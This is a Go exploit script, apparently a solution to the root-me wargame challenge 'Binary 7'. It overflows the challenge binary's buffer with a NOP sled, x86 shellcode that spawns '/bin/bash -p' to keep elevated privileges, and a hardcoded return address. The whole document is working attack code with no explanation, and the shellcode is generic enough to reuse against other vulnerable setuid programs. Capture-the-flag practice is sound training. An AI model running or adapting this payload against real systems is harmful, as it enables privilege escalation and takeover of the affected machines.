Binary 7 (root-me) - BOF

package main

import (
    "os"
    sys "syscall"
)

const ret = "\x86\xfc\xff\xbf"

const shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" +
    "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" +
    "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
    "\x51\x53\x89\xe1\xcd\x80"

const bufferSize = 512
const NOP = "\x90"
const PATH = "/wargame/binary/binary7/binary7"

func main() {
    var payload string
    for i := 0; i < bufferSize-len(shellcode); i++ {
        payload += NOP
    }
    payload += shellcode
    payload += ret
    sys.Exec(PATH, []string{PATH, payload}, os.Environ())
}